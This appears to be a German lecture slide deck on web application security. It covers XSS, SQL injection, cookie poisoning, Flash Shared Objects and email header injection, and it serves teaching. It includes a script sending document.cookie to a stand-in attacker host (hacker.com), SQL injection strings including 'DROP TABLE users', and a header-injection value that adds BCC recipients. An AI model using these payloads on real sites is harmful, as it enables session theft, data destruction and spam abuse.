

Web Applications

Sebastian Jansen
Hendrik Thüs

Inhalt

- **Javascript**
 - Cookies klauen
 - Netzwerke scannen
 - IE 5
- **Flash**
 - Shared Objects
- **PHP & SQL**
 - Invalidated Input
 - Email-Header-Injection
 - CSRF
 - XSS
 - Cross-Frame / Cross-Window Scripting
 - Application DoS
 - Google Hacking
 - Broken Authentication
 - Improper Information Handling

Javascript - generell

- **Eingebettete Javascript Applikationen laufen meist ohne Warnmeldungen**
- **Keine großartigen Aktionen des Surfers mehr nötig**
- **Firewalls meist nutzlos, da JS durch den Browser ausgeführt wird**
- **JS erlebt durch sogenannte „Web 2.0“-Webseiten einen regelrechten Boom**
- **Schadcodes nutzen meist nur Standard-Bibliotheken und Befehle → solche Applikationen werden noch einige Jahre erscheinen**

Javascript – Cookies klauen

- **Voraussetzung: Ein Forum / Gästebuch prüft Einträge nicht auf Javascript**
- **Beispiel:**

```
<script>
new
  Image().src="http://www.hacker.com/getcookie.php?data="+encodeURIComponent(document.cookie);
</script>
```

- **Beispiel AJAX:**

```
function socket(){
XMLHttpRequestObject.open('GET',
  'http://www.site.com/privatemessage.php?user=yourusername&subject=' +
  window.document.cookie, true);
XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-
  urlencoded");
XMLHttpRequestObject.send(null);
}
```

Javascript – Netzwerke scannen

- Ziel: Mappen von Netzwerken, die hinter Firewalls liegen
- SPI Dynamics: JS scannt intern das Netzwerk nach Webservern / Geräten mit Web-Interface
- Geräte werden anhand von Bildern identifiziert



- <http://www.spidynamics.com/assets/documents/JSportscan.pdf>

Javascript – Internet-Explorer 5

- **Durch eine Schwachstelle in der JRE kann Schadcode mit den Rechten des aufrufenden Browsers ausgeführt werden**
- **JS-Applikation muss dafür weder signiert sein, noch muss der Benutzer diese Applikation bestätigen**
- **So kann ohne Wissen des Benutzers das Clipboard ausgelesen werden:**

```
<script>  
function clipboard() {  
    document.getElementById("textbox").innerText = window.clipboardData.getData("Text");  
}  
</script>
```

Flash – Shared Objects

- **Shared Objects sind den altbekannten Cookies sehr ähnlich**
- **Bis zu 100kb an Informationen können gespeichert werden**
- **JupiterResearch: 58% aller Internetuser löschen ihre Cookies, 39% jeden Monat**

Flash – Shared Objects

- **Keine browserbasierte Möglichkeit, Shared Objects abzulehnen**
- **Geringer Bekanntheitsgrad → hohe Haltbarkeit**
- **Shared Objects können als Backup zu regulären Cookies benutzt werden → PIE von United Virtualities**
- **<http://www.out-law.com/page-5502>**

PHP & SQL

Die Eingaben eines Benutzers / Angreifers werden nicht immer sorgfältig genug auf Fehler oder ähnliches geprüft

Never trust a client!

PHP & SQL – Invalidated Input

- **Forced Browsing**

- Manipulation der URL, indem Teile gelöscht werden
- Durch scannen (Bruteforce, Wordlist) werden nicht referenzierte Verzeichnisse / Dateien gefunden

- **SQL-Injection**

- Beispiele:

1. `http://host/search.php?name=dummy`
mit der SQL-Anweisung
`SELECT * FROM users WHERE name='$name';`
durch
`http://host/search.php?name=egal'%20OR%201=1`
entsteht die folgende Abfrage
`SELECT * FROM users WHERE name='egal' OR 1=1;`
oder
`SELECT * FROM users WHERE name='dummy' AND password='gott' OR 1=1;`
2. `SELECT * FROM users WHERE ort='$ort';`
wird mit „`$ort = Aachen'; DROP TABLE users --`“ zu
`SELECT * FROM users WHERE ort='Aachen'; DROP TABLE users --';`

PHP & SQL – Invalidated Input

- **Cookie Poisoning**

- Daten eines Cookies werden verändert
- Beispiele:

1. Ein Onlineshop speichert den Gesamtpreis des aktuellen Warenkorbs im Cookie des Users
2. Der Benutzername / Status eines Users wird im Cookie gespeichert

- **Hidden-Field manipulation**

- Der Standardwert von versteckten Formularfeldern wird geändert
- Beispiele:

1. In einem Feedback-Formular steht die Email des Empfängers in einem hidden-field
2. In einem Onlineshop steht der Preis eines Artikels in einem hidden-field

Email-Header-Injection

- **Feedback-Formulare oder Empfehlungs-Formulare können zum Verschicken von anonymen Mails benutzt werden:**

```
mail($to,$_POST['subject'],$_POST['message'],'From: $_POST['from']\n")
```

- **Die Formularangaben werden nicht kontrolliert:**

```
$from = „absender@domain.de  
bcc: zusätzlicher@empfaenger.de,nochein@empfaenger.de“
```

- **Die Mail mit dem beliebigen Text und Subject kann so an diverse Empfänger geschickt werden**